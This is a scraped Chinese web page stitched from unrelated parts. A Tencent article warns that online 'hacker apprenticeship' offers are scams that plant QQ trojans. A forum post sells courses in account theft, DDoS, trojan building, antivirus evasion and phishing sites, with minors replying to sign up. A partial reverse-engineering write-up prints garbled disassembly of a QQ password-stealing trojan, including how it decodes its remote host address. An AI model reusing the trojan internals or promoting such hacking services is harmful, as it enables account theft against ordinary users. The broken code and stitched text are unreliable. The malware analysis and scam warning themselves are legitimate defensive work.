教盗号,200收徒,30加qq学习

有谁教我盗号! 我给200! 我QQ_百度知道向“岳不群”学盗号?骗子收徒陷阱重重
相信网友在论坛或者QQ群,都看到有在招收徒弟,他们都是好人?如果你这么想,可能会被人卖了还帮人数钱。对那些打算在国庆期间学习黑客技术的朋友来说,黑客招徒陷阱,一定要留意,不要被&岳不群&勾走了!腾讯电脑管家独家为你揭秘&带徒骗局&!
第一跪:骗你拜师学费
2012年9月的一天,上海长宁区一间破旧的出租屋内,黑客&DK大魔王&正在冥思苦想。一个月前,他在某知名黑客网站学艺满一年,自认为有两下了,于是决定自立门户广招徒弟,想靠骗徒弟谋生。
&DK大魔王&参考了同行招徒弟的宣传语,也凑合写出来了:你想盗同学的QQ吗?你想进入校花的QQ空间吗?只需交学费300元,跟我学一个月,包你达成心愿!学不会保证退钱。
正在读成都七中高二的&风之林风&在某黑客看到该宣传语,为之心动,于是双手奉上300元学费。
第二跪:卖你无用黑客工具
收了钱,&DK大魔王&并不没有教真功夫,而是给了一堆理论资料,&风之林风&看得头昏眼花。
&师傅,理论知识我都会了,快教我盗号吧&
&盗号很简单,就是要有厉害的QQ木马,现在的黑客网站管得严,想QQ木马很难了,就算下到了也是老的。不过,我这里有最新免杀版的QQ木马,如果你想要可以卖给你。我给你看看我的工具箱吧&&&
最后,不明真相的风之林风&花了500元,从&DK大魔王&手中购买了号称有上千款黑客软件的专用工具箱。
第三跪:盗你QQ账号
&风之林风&打开专用工具箱,迫不及待地用起来了,很快就发现问题:这些黑客工具都是老旧的,不少都失效了,更有一些黑客工具非常鸡肋,完全不起作用,就是用来滥竽充数的。
这下&风之林风&火了,来找&DK大魔王&算账。&DK大魔王&此时不慌不忙,登录自己的邮箱看到了&风之林风&的QQ账号和密码,随后将吹着口哨将他的QQ号码拉黑了。原来,&风之林风&给的黑客工具中暗藏了QQ木马,木马将小白的QQ账号和密码发到了&DK大魔王&邮箱中。
最后,&DK大魔王&将QQ账号和密码拿去卖钱了。
黑客招徒弟骗钱的过程,大家都看明白了吧!网上那些主动打广告招徒弟的十之八九是骗子,而真正的黑客收徒弟是非常严的,几乎不会主动要求。那些还幻想拜师的小白们,你们可以醒了
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'揭露盗号内幕,阿拉QQ大盗盗号原理教程_图文_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
揭露盗号内幕,阿拉QQ大盗盗号原理教程
上传于||文档简介
&&揭​露​盗​号​内​幕​,​阿​拉​Q​Q​大​盗​盗​号​原​理​教​程
阅读已结束,如果下载本文需要使用1下载券
想免费下载本文?
定制HR最喜欢的简历
下载文档到电脑,查找使用更方便
还剩2页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢查看: 6088|回复: 31
本人、收徒传授黑客技术
在线时间 小时
马上注册登录,浏览更多内容
才可以下载或查看,没有帐号?
本人、收徒传授黑客技术。&&
盗号、破解、木马制作、远程控制、入侵网站、攻击、木马免杀技术、信封箱子制作、木马高效传播技术。网站维护、建设、&&
基本的技术、 C语言技术、攻击网吧家庭 。
小天工作室 教学班级表
├─初级辅导班
│ ├─[√] 虚拟机安装
│ ├─[√] 歪歪盗号钓鱼
│ ├─[√] 黑频道、必须OW在线
│ ├─[√] 删频道、下马甲(破解频道密码)
│ ├─[√] 初级编程 、易语言 VB&&C语言
├─高级辅导班
│ ├─[√] 虚拟机安装
│ ├─[√] DDOS 远程攻击I&&P
│ ├─[√] 入侵 指定电脑入侵
│ ├─[√] 盗号 指定盗号成功率99%以上
│ ├─[√] 免杀
│ ├─[√] 脚本入侵与提权
│ ├─[√] 破解
│ ├─[√] 木马制作
│ ├─[√] 入侵网站
│ ├─[√] 木马免杀技术
│ ├─[√] 信封箱子制作
│ ├─[√] 木马高效传播技术
│ ├─[√] 网站维护、建设
│ ├─[√] 钓鱼网站制作&&
│ ├─[√] 攻击网吧、家庭
│ ├─[√] 外挂制作& &DNF CF&&DN 等等......
│ ├─[√] 高级编程 易语言 VB&&C语言
│ ├─[√] CAD制图
├─综合辅导班
│ ├─[√] 虚拟机安装
│ ├─[√] 歪歪盗号& & (包括密保)
│ ├─[√] 腾讯盗号& & (包括密保)
│ ├─[√] 易语言高级编程
│ ├─[√] 远控
│ ├─[√] 制作盗号软件(所有游戏)
│ ├─[√] 外挂制作& &DNF CF&&DN 等等......
│ ├─[√] 高级编程 易语言 VB&&C语言 等等......
│&&├─服务的宗旨与概念
│&&├─[√] 有能力不怕干-生命看淡-说干就干
│ ├─[√] 防止黑客的入侵,最好的方式就是关机。
│ ├─[√] 业务联系QQ:
╔服╗┊空┊网┊带┊软┊网┊百┊黑┊╔技╗
┃务┃┊间┊站┊红┊件┊络┊度┊客┊┃术┃
┃项┃┊喊┊建┊新┊编┊传┊红┊传┊┃范┃
╚目╝┊麦┊设┊人┊程┊媒┊人┊授┊╚围╝
学习的可联系&&本人业务QQ:& && &&&如果加不进。 答案是:哦
请在楼下顶帖。留下您的QQ号。本人两天内联系您。
因为是免费的这几天太多人加我了、都不是诚心的、只是看本人是免费的才来的、
以后收徒不免费了、不想学的就不要来了&&、
还有替本人接待业务的那个小子、你做什么事不要以为师傅我不知道、真后悔收了你 、你的学费应该早就赚回来了、这次就算了、
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
我想学&&我诚心&&我是初三学生&&马上中考&&我想暑假学& &可以么?
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
我想学&&我的QQ& &我初三学生&&马上中考& &所以想暑假学& &可以么??
我诚心学& &
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
本人QQ:&&诚心拜师..望师傅能收下弟子
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
求学,求师傅。& &偶扣扣:
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
求学习&&QQ& &练习哦
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
在线时间 小时
我是学计算机的,对计算机很感兴趣,想学习VB和易语言,希望能够自己编写小软件,特地想拜师,希望加QQ
做网维的:我推荐你来加入网吧赚钱,增值首选天下网吧:
您尚未登录,请登陆后浏览更精彩内容!
Powered by后使用快捷导航没有帐号?
只需一步,快速开始
请完成以下验证码
请完成以下验证码
查看: 4098|回复: 166
一个QQ盗号木马的逆向分析
马上注册,深入学习!
才可以下载或查看,没有帐号?
今天看一位大大玩病毒就起了好奇心,自己也想试试就是不敢玩大病毒通过一段纠结之后,觉得还是分析吧,就当练练手,自己之前也没分析过木马样本,这个比较简单,正适合我现在分析,好了,开始的逆向之旅吧。
用IDA载入,直接来到winmain函数中,如下所示
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text: pop eax
.text:D 44 24 0C lea eax, [esp+30h+Name]
.text: lpName
.text:A 00 push 0 ; bInitialOwner
.text:A 00 push 0 ; lpMutexAttributes
.text: C7 44 24 18 54 00 mov [esp+3Ch+Name], 54h
.text: C7 44 24 1A 00 00 mov [esp+3Ch+var_22], 0
.text: FF 15 6C 40 40 00 call ds:CreateMutexW ; 创建互斥体
.text:004018AA FF 15 68 40 40 00 call ds:GetLastError
.text: 3D B7 00 00 00 cmp eax, 0B7h
.text: 75 0B jnz short loc_4018C2
.text:
.text: loc_4018B7: ; CODE XREF: WinMain(x,x,x,x)+B4j
.text: 33 C0 xor eax, eax
.text: 5F pop edi
.text:004018BA 5E pop esi
.text:004018BB 5D pop ebp
.text:004018BC 83 C4 24 add esp, 24h
.text:004018BF C2 10 00 retn 10h
.text: ; ---------------------------------------------------------------------------
.text:
.text: loc_4018C2: ; CODE XREF: WinMain(x,x,x,x)+35j
.text: 8B 4C 24 34 mov ecx, [esp+30h+hInstance]
.text: 6A 70 push 70 Size
.text: 6A 00 push 0 ; Val
.text:004018CA 68 18 64 40 00 push offset unk_406418 ; Dst
.text:004018CF 89 0D 44 D4 40 00 mov hInstance, ecx
.text: E8 A4 1F 00 00 call memset
.text:004018DA 83 C4 0C add esp, 0Ch
.text:004018DD C7 05 EC 63 40 00 00 00+ mov dword_4063EC, 0
.text: C6 44 24 34 6B mov byte ptr [esp+30h+hInstance], 6Bh
.text:004018EC C6 44 24 35 00 mov byte ptr [esp+30h+hInstance+1], 0
.text: 33 C0 xor eax, eax
.text:
.text: loc_4018F3: ; CODE XREF: WinMain(x,x,x,x)+82j
.text: 8A 4C 04 34 mov cl, byte ptr [esp+eax+30h+hInstance]
.text: 88 88 20 D4 40 00 mov ClassName[eax], cl
.text:004018FD 83 C0 01 add eax, 1
.text: C9 test cl, cl
.text: EF jnz short loc_4018F3
.text: C0 xor eax, eax
.text: EB 08 jmp short loc_401910
.text: ; ---------------------------------------------------------------------------
.text:D A4 24 00 00 00 00 90 align 10h
.text:
.text: loc_401910: ; CODE XREF: WinMain(x,x,x,x)+86j
.text: ; WinMain(x,x,x,x)+A1j
.text:A 88 20 D4 40 00 mov cl, ClassName[eax]
.text: 88 2C D4 40 00 mov WindowName[eax], cl
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: ED jnz short loc_401910
.text: 58 06 00 00 call sub_401F80 ; 解密文件夹下的200文件(这个文件的内容解密出来后就是远程主机的ip)
.text: 73 00 00 00 call sub_4019A0 ; 注册窗口类
.text:0040192D E8 0E 01 00 00 call sub_401A40 ; 创建窗口
.text: C0 test eax, eax
.text: 81 jz short loc_4018B7
.text:D 54 24 10 lea edx, [esp+30h+ThreadId]
.text: lpThreadId
.text:A 00 push 0 ; dwCreationFlags
.text:A 00 push 0 ; lpParameter
.text: 50 29 40 00 push offset StartA lpStartAddress
.text:A 00 push 0 ; dwStackSize
.text:A 00 push 0 ; lpThreadAttributes
.text: FF 15 58 40 40 00 call ds:CreateThread
.text:B 35 7C 41 40 00 mov esi, ds:GetMessageA
.text:A 00 push 0 ; wMsgFilterMax
.text:A 00 push 0 ; wMsgFilterMin
.text:A 00 push 0 ; hWnd
.text:D 44 24 20 lea eax, [esp+3Ch+Msg]
.text: lpMsg
.text:0040195F FF D6 GetMessageA
.text: C0 test eax, eax
.text: 2B jz short loc_401990
.text:B 3D 80 41 40 00 mov edi, ds:TranslateMessage
.text:B 2D 84 41 40 00 mov ebp, ds:DispatchMessageA
.text:
.text: loc_401971: ; CODE XREF: WinMain(x,x,x,x)+10Ej
.text:D 4C 24 14 lea ecx, [esp+30h+Msg]
.text: lpMsg
.text: FF D7 TranslateMessage
.text:D 54 24 14 lea edx, [esp+30h+Msg]
.text: lpMsg
.text:0040197D FF D5 DispatchMessageA
.text:A 00 push 0 ; wMsgFilterMax
.text:A 00 push 0 ; wMsgFilterMin
.text:A 00 push 0 ; hWnd
.text:D 44 24 20 lea eax, [esp+3Ch+Msg]
.text: lpMsg
.text:0040198A FF D6 GetMessageA
.text: C0 test eax, eax
.text: E1 jnz short loc_401971
.text:
.text: loc_401990: ; CODE XREF: WinMain(x,x,x,x)+E3j
.text:B 44 24 1C mov eax, [esp+30h+Msg.wParam]
.text:F pop edi
.text:E pop esi
.text:D pop ebp
.text: C4 24 add esp, 24h
.text:0040199A C2 10 00 retn 10h
.text:0040199A _WinMain@16 endp&/FONT&复制代码 代码文本不空显示空格大家将就看吧。代码虽然有点多,但是有用的东西不多,下面我们就一一来进行分析。在winmain开始的时候,就用 call& & ds:CreateMutexW来创建一个互斥体,这个主要是避免程序同时运行,然后判断下GetLastError的返回值,如果返回值不等于0x0b7(十进制是183,GetLastError返回值列表中的注释为:〖183〗-当文件已存在时,无法创建该文件。),即检测程序是否有在运行,如果运行就不跳转,否则程序跳转下去,继续运行。
& & 跳转之后,程序先初始化一个数组,至于这个数组用来干嘛,我们后面会有分析。
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:mov ecx, [esp+30h+hInstance]
.text: 6A 70 push 70 S数组长度
.text: 6A 00 push 0 ; V初始化的值
.text:004018CA 68 18 64 40 00 push offset unk_406418 ; D数组地址
.text:004018CF 89 0D 44 D4 40 00 mov hInstance, ecx
.text: E&SPAN style=&TEXT-TRANSFORM: BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0 DISPLAY: inline ! FONT: 14px/21px 'Microsoft Yahei', S WHITE-SPACE: FLOAT: LETTER-SPACING: COLOR: rgb(68,68,68); WORD-SPACING: 0 -webkit-text-stroke-width: 0px&&&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&8 A4 1F 00 00& && && && && && && && &&&call& & memset&/FONT&&/SPAN&
&BLOCKQUOTE& 复制代码然后就是初始化类名和窗口名,代码如下、
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text: C6 44 24 34 6B mov byte ptr [esp+30h+hInstance], 6Bh
.text:004018EC C6 44 24 35 00 mov byte ptr [esp+30h+hInstance+1], 0
.text: 33 C0 xor eax, eax
.text:
.text: loc_4018F3: ; CODE XREF: WinMain(x,x,x,x)+82j
.text: 8A 4C 04 34 mov cl, byte ptr [esp+eax+30h+hInstance] ; 初始化类名
.text: 88 88 20 D4 40 00 mov ClassName[eax], cl
.text:004018FD 83 C0 01 add eax, 1
.text: C9 test cl, cl
.text: EF jnz short loc_4018F3 ; 初始化ClassName
.text: C0 xor eax, eax
.text: EB 08 jmp short loc_401910
.text: ; ---------------------------------------------------------------------------
.text:D A4 24 00 00 00 00 90 align 10h
.text:
.text: loc_401910: ; CODE XREF: WinMain(x,x,x,x)+86j
.text: ; WinMain(x,x,x,x)+A1j
.text:A 88 20 D4 40 00 mov cl, ClassName[eax]
.text: 88 2C D4 40 00 mov WindowName[eax], 初始化窗口名
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: ED jnz short loc_401910&/FONT&复制代码通过上面这段代码我们可以知道,这个类名和窗口名是一样的,都是0x6b,通过ascii码查找可知这是字符'k'。这两个初始化完成之后,程序就调用了3个函数,接下来我们来好好分析下这些函数都干了些啥活。先看call& & sub_401F80,在上面的代码中我有注释,这个函数就是解密当前文件夹下的200文件(这个木马附带了一个名为200的文件)。我们来看看具体内容。先上代码:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text: EC 08 02 00 00 sub esp, 208h
.text: 18 60 40 00 mov eax, ___security_cookie
.text: C4 xor eax, esp
.text: 84 24 04 02 00 00 mov [esp+208h+var_4], eax
.text:D 44 24 10 lea eax, [esp+208h+FileName]
.text: lpBuffer
.text: F4 01 00 00 push 1F4 nBufferLength
.text:00401F9E FF 15 3C 40 40 00 call ds:GetCurrentDirectoryA&/FONT&复制代码代码有点多,我们一点一点来分析。在函数开始处,就调用了一个GetCurrentDirectoryA函数,这个函数就是获取当前路径的,获取到的路径保存在[esp+208h+FileName]里面,然后我们接着往下看。
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:0 5C mov al, 5C 对应的ascii字符是'\'
.text:0 44 24 08 mov [esp+208h+var_200], al
.text:00401FAA 88 44 24 09 mov [esp+208h+var_1FF], al
.text:00401FAE B0 30 mov al, 30 对应的ascii字符是'0'
.text:0 44 24 0B mov [esp+208h+var_1FD], al
.text:0 44 24 0C mov [esp+208h+var_1FC], al
.text:0D 44 24 08 lea eax, [esp+208h+var_200]
.text:00401FBC C6 44 24 0A 32 mov [esp+208h+var_1FE], 32 对应的ascii字符是'2'
.text:0 44 24 0D 00 mov [esp+208h+var_1FB], 0
.text:0B C8 mov ecx, eax&/FONT&复制代码上面的这段代码就是在局部变量数组中填充字符串,上面这段代码填充的字符串就是&\\200&,这个其实就是木马附带的文件名,后面要用到。这个字符串的首地址放到的eax和ecx中。我们接着往下看:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:00401FC8 loc_401FC8: ; CODE XREF: sub_401F80+4Fj
.text:0A 10 mov dl, [eax]
.text:00401FCA 83 C0 01 add eax, 1
.text:00401FCD 84 D2 test dl, dl
.text:00401FCF 75 F7 jnz short loc_401FC8
.text:0 push ebx
.text:0 push esi
.text:0 push edi
.text:0D 7C 24 1C lea edi, [esp+214h+FileName]
.text:0B C1 sub eax, ecx
.text:00401FDA 8B F1 mov esi, ecx
.text:00401FDC 83 C7 FF add edi, 0FFFFFFFFh
.text:00401FDF 90 nop&/FONT&复制代码上面讲到生成了一个字符串,还把首地址放到eax中,然后再上面的这段代码中,就从eax中取出数据,检测是否为0,不为0则获取下一位继续检测,这种手法很常见,几乎都是用来计算字符串长度的,这里也不例外。大家可以看到,在检测完成之后,有sub& &&&eax, ecx这个一行代码,此时eax保存的是字符串尾指针,ecx保存的是字符串头指针,这两个相减就是字符串的长度。这里还把之前保存当前路径缓存的首地址保存到了edi中,我们接着往下看。
&FONT face=微软雅黑&&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:00401FE0 loc_401FE0: ; CODE XREF: sub_401F80+68j
.text:0A 4F 01 mov cl, [edi+1]
.text:0 C7 01 add edi, 1
.text:0 C9 test cl, cl
.text:0 F6 jnz short loc_401FE0
.text:00401FEA 8B C8 mov ecx, eax
.text:00401FEC C1 E9 02 shr ecx, 2
.text:00401FEF F3 A5 rep movsd
&/FONT&
&/FONT&复制代码在上面的代码中我们有看到了一个与之前计算字符串长度相类似的代码,只是这里没有计算字符串长度,而是为了把指针移到字符串尾,然后把前面生成的&\\200&添加上去。然后就是打开200文件,并读取里面的内容,代码如下
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text:0A 00 push 0 ; hTemplateFile
.text:0A 00 push 0 ; dwFlagsAndAttributes
.text:0A 03 push 3 ; dwCreationDisposition
.text:0A 00 push 0 ; lpSecurityAttributes
.text:0B C8 mov ecx, eax
.text:00401FFB 83 E1 03 and ecx, 3
.text:00401FFE 6A 01 push 1 ; dwShareMode
.text: A4 rep movsb
.text: 00 00 00 80 push
dwDesiredAccess
.text:D 4C 24 34 lea ecx, [esp+22Ch+FileName]
.text: lpFileName
.text:0040200C FF 15 40 40 40 00 call ds:CreateFileA ; 打开200文件
.text:B D8 mov ebx, eax
.text: FB FF cmp ebx, 0FFFFFFFFh
.text: 5C 24 0C mov [esp+214h+var_208], ebx
.text: 1A jnz short loc_402037 ; 文件打开成功则跳转
.text:F pop edi
.text:E pop esi
.text: C0 xor eax, eax
.text:B pop ebx
.text:B 8C 24 04 02 00 00 mov ecx, [esp+208h+var_4]
.text: CC xor ecx, esp
.text:0040202B E8 A4 0F 00 00 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text: C4 08 02 00 00 add esp, 208h
.text: retn
.text: ; ---------------------------------------------------------------------------
.text:
.text: loc_402037: ; CODE XREF: sub_401F80+9Bj
.text: push ebp
.text:A 00 push 0 ; lpFileSizeHigh
.text: hFile
.text:0040203B FF 15 44 40 40 00 call ds:GetFileS 获取文件长度
.text:B F0 mov esi, eax
.text:D 7E 01 lea edi, [esi+1]
.text: unsigned int
.text: 98 0F 00 00 call ??2@YAPAXI@Z ; operator new(uint)
.text: Size
.text:B E8 mov ebp, eax
.text:A 00 push 0 ; Val
.text: Dst
.text: 27 18 00 00 分配一个内存并初始化,内存大小为200文件大小
.text: C4 10 add esp, 10h
.text:A 00 push 0 ; lpOverlapped
.text:D 54 24 18 lea edx, [esp+21Ch+NumberOfBytesRead]
.text: lpNumberOfBytesRead
.text: nNumberOfBytesToRead
.text: lpBuffer
.text: hFile
.text: FF 15 48 40 40 00 call ds:ReadF 读取200文件
.text: D5 00 00 00 push 0D5 Size
.text:A 00 push 0 ; Val
.text: D5 00 00 00 push 0D5 unsigned int
.text: 69 0F 00 00 call ??2@YAPAXI@Z ; operator new(uint)
.text: C4 04 add esp, 4
.text: Dst
.text:0040207F E8 FA 17 00 00 分配一个内存并初始化,大小为0x0d5&/FONT&复制代码我们说过,这个函数的主要功能就是解密200文件,上面这段代码已经将文件内容读取出来了,文件内容缓存的首地址保存在ebp中。接下来就要对文件内容进行解密了,我们一点一点来分析。
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text: loc_402090: ; CODE XREF: sub_401F80+117j
.text:A 10 mov dl, [eax] ; 取出一字节数据
.text: C0 01 add eax, 1 ; 指针下移一位
.text: D2 test dl, dl
.text: F7 jnz short loc_402090 ; 如果取出的数据不为0则继续获取,否则停止获取
.text:B C6 sub eax, 检测取出的数据的个数
.text: 22 jz short loc_4020BF ; 如果结果为0说明这里没有字符串,不用对其进行解密,程序跳转去查找第二段字符串
.text:D 49 00 lea ecx, [ecx+0]
.text:
.text: loc_4020A0: ; CODE XREF: sub_401F80+13Dj
.text: 80 04 29 BA add byte ptr [ecx+ebp], 0BA 解密数据,由此可知,取出的这段字符串在保存时是与0x0ba进行减法运算,然后才保存的
.text: 8B C5 mov eax, ebp
.text: 83 C1 01 add ecx, 1
.text: 8D 70 01 lea esi, [eax+1]
.text:004020AC 8D 64 24 00 lea esp, [esp+0]
.text:
.text: loc_4020B0: ; CODE XREF: sub_401F80+137j
.text: 8A 10 mov dl, [eax] ; 这个循环获取字符串的长度
.text: 83 C0 01 add eax, 1
.text: 84 D2 test dl, dl
.text: 75 F7 jnz short loc_4020B0 ; 这个循环获取字符串的长度
.text: 2B C6 sub eax, esi
.text:004020BB 3B C8 cmp ecx, 检测数据是否解密完成
.text:004020BD 72 E1 jb short loc_4020A0 ; 未解密完成则跳转&/FONT&复制代码
上面这段代码先是判断是否存在字符串,如果存在字符串,则对其进行解密,解密的过程如上面的代码所示。如果第一段字符串不存在,那么就继续查找第二段字符串。代码如下:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:004020BF loc_4020BF: ; CODE XREF: sub_401F80+11Bj
.text:004020BF 8D 45 0B lea eax, [ebp+0Bh] ; 第二段字符串的偏移为0x0b
.text: 8D 50 01 lea edx, [eax+1]
.text:
.text: loc_4020C5: ; CODE XREF: sub_401F80+14Cj
.text: 8A 08 mov cl, [eax] ; 取出数据
.text: 83 C0 01 add eax, 1
.text:004020CA 84 C9 test cl, cl
.text:004020CC 75 F7 jnz short loc_4020C5 ; 取到的数据为0,则说明指针已经移到字符串尾
.text:004020CE 2B C2 sub eax, 判断取到的字符串个数
.text: 74 30 jz short loc_402102 ; 如果为0则说明没有字符串,程序跳转到下一个偏移继续查找
.text: BF F5 FF FF FF mov edi, 0FFFFFFF5h
.text: 8D 4D 0B lea ecx, [ebp+0Bh]
.text:004020DA 2B FD sub edi, 这里其实是为了下面计算读取到的字符个数
.text:004020DC 8D 64 24 00 lea esp, [esp+0]
.text:
.text: loc_4020E0: ; CODE XREF: sub_401F80+180j
.text: 80 01 BA add byte ptr [ecx], 0BA 字符解密,与上一个字符串的解密方式一样
.text: 8D 45 0B lea eax, [ebp+0Bh]
.text: 83 C1 01 add ecx, 1
.text: 8D 70 01 lea esi, [eax+1]
.text:004020EC 8D 64 24 00 lea esp, [esp+0]
.text:
.text: loc_4020F0: ; CODE XREF: sub_401F80+177j
.text: 8A 10 mov dl, [eax]
.text: 83 C0 01 add eax, 1
.text: 84 D2 test dl, dl
.text: 75 F7 jnz short loc_4020F0 ; 这个循环计算这段字符串的长度
.text: 2B C6 sub eax, esi
.text:004020FB 8D 14 0F lea edx, [edi+ecx] ; 这里得到的是当前已经解密的字符个数
.text:004020FE 3B D0 cmp edx, eax
.text: DE jb short loc_4020E0 ; 字符串未解密完成则跳转回去接续解密
.text:
.text: loc_402102: ; CODE XREF: sub_401F80+150j
.text:D 7D 70 lea edi, [ebp+70h] ; 获取第三段字符串:第三段字符串的偏移为0x70
.text:B C7 mov eax, edi
.text:D 50 01 lea edx, [eax+1]
.text:D 9B 00 00 00 00 lea ebx, [ebx+0]
.text:
.text: loc_402110: ; CODE XREF: sub_401F80+197j
.text:A 08 mov cl, [eax]
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: F7 jnz short loc_402110 ; 计算字符串长度
.text:B C2 sub eax, edx
.text: 2A jz short loc_402147 ; 如果字符串不存在则往下跳转
.text:0040211D BB 90 FF FF FF mov ebx, 0FFFFFF90h
.text:B CF mov ecx, edi
.text:B DD sub ebx, ebp
.text:
.text: loc_402126: ; CODE XREF: sub_401F80+1C1j
.text: 01 BA add byte ptr [ecx], 0BA 解密字符
.text:B C7 mov eax, edi
.text: C1 01 add ecx, 1
.text:D 70 01 lea esi, [eax+1]
.text:
.text: loc_402131: ; CODE XREF: sub_401F80+1B8j
.text:A 10 mov dl, [eax]
.text: C0 01 add eax, 1
.text: D2 test dl, dl
.text: F7 jnz short loc_402131 ; 这个循环计算待解密的字符串大小
.text:B C6 sub eax, esi
.text:D 14 0B lea edx, [ebx+ecx]
.text:B D0 cmp edx, eax
.text: E3 jb short loc_402126 ; 字符未解密完成则跳转回去继续解密
.text:B 5C 24 10 mov ebx, [esp+218h+var_208] ; 把文件句柄存入ebx&/FONT&复制代码上面这段代码把字符串都解密了,解密的方式和第一段字符串的方式一样,这里就不具体分析了。当数据全部解密了之后,程序申请的一段内存空间来存放解密过后的数据,并将这段内存空间地址保存在一个全局变量中,代码如下:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text: loc_402147: ; CODE XREF: sub_401F80+19Bj
.text: E9 00 00 00 push 0E9 unsigned int
.text:0040214C E8 93 0E 00 00 call ??2@YAPAXI@Z ; operator new(uint)
.text: E9 00 00 00 push 0E9 Size
.text:B F0 mov esi, eax
.text:A 00 push 0 ; Val
.text: Dst
.text: 35 14 64 40 00 mov dword_406414, 将申请到的内存地址保存到全局变量中
.text: 18 17 00 00 申请内存空间并将其初始化
.text:D 45 0B lea eax, [ebp+0Bh] ; 已经解密的第二串字符串地址
.text:D 56 0B lea edx, [esi+0Bh] ; 设置字符串的存放位置
.text: C4 10 add esp, 10h
.text:B D0 sub edx, eax
.text:
.text: loc_402171: ; CODE XREF: sub_401F80+1FBj
.text:A 08 mov cl, [eax] ; 取出解密好的数据
.text: 0C 02 mov [edx+eax], 将数据存入新申请的内存空间中
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: F4 jnz short loc_402171 ; 数据为存放完毕则跳回去继续存放
.text:D 56 70 lea edx, [esi+70h] ; 设置下一个字符串的存放位置
.text:B C7 mov eax, edi
.text:B D7 sub edx, edi
.text:
.text: loc_402184: ; CODE XREF: sub_401F80+20Ej
.text:A 08 mov cl, [eax] ; 取出字符串
.text: 0C 02 mov [edx+eax], 将字符串存入新分配的内存中
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: F4 jnz short loc_402184
.text:B D6 mov edx, 设置偏移为0的字符串的存放位置
.text:B C5 mov eax, 偏移为0的字符串地址
.text:B D5 sub edx, ebp
.text:D pop ebp
.text:
.text: loc_402197: ; CODE XREF: sub_401F80+221j
.text:A 08 mov cl, [eax] ; 取出字符串
.text: 0C 02 mov [edx+eax], 存入字符串
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: 75 F4 jnz short loc_402197 ; 取出字符串
.text: 53 hObject
.text: FF 15 4C 40 40 00 call ds:CloseH 关闭文件
.text:004021AA 8B 8C 24 10 02 00 00 mov ecx, [esp+214h+var_4]
.text: 5F pop edi
.text: 5E pop esi
.text: 5B pop ebx
.text: 33 CC xor ecx, esp
.text: B8 01 00 00 00 mov eax, 1
.text:004021BB E8 14 0E 00 00 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text: 81 C4 08 02 00 00 add esp, 208h
.text: C3 retn
.text: sub_401F80 endp&/FONT&复制代码这样,我们就把这个木马附带的200文件数据的解密方式给分析完了累死了,接下来,我们就要去看看这个木马是怎么干活的。继续我们的分析,接下来看call& & sub_4019A0& && &; 注册窗口类函数,代码如下:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text: 83 EC 30 sub esp, 30h
.text: A1 44 D4 40 00 mov eax, hInstance
.text: 56 push esi
.text: 8B 35 60 41 40 00 mov esi, ds:LoadIconA
.text:004019AF 68 00 7F 00 00 push 7F00 lpIconName
.text: 6A 00 push 0 ; hInstance
.text: C7 44 24 0C 30 00 00 00 mov [esp+3Ch+var_30.cbSize], 30h
.text:004019BE C7 44 24 10 03 00 00 00 mov [esp+3Ch+var_30.style], 3
.text: C7 44 24 14 D0 21 40 00 mov [esp+3Ch+var_30.lpfnWndProc], offset sub_4021D0 ; 消息处理过程函数
.text:004019CE C7 44 24 18 00 00 00 00 mov [esp+3Ch+var_30.cbClsExtra], 0
.text: C7 44 24 1C 00 00 00 00 mov [esp+3Ch+var_30.cbWndExtra], 0
.text:004019DE 89 44 24 20 mov [esp+3Ch+var_30.hInstance], eax
.text: FF D6 LoadIconA
.text: 68 00 7F 00 00 push 7F00 lpCursorName
.text: 6A 00 push 0 ; hInstance
.text:004019EB 89 44 24 24 mov [esp+3Ch+var_30.hIcon], eax
.text:004019EF FF 15 64 41 40 00 call ds:LoadCursorA
.text: 8B 4C 24 18 mov ecx, [esp+34h+var_30.hInstance]
.text: 68 00 7F 00 00 push 7F00 lpIconName
.text:004019FE 51 hInstance
.text:004019FF 89 44 24 28 mov [esp+3Ch+var_30.hCursor], eax
.text: 44 24 2C 06 00 00 00 mov [esp+3Ch+var_30.hbrBackground], 6
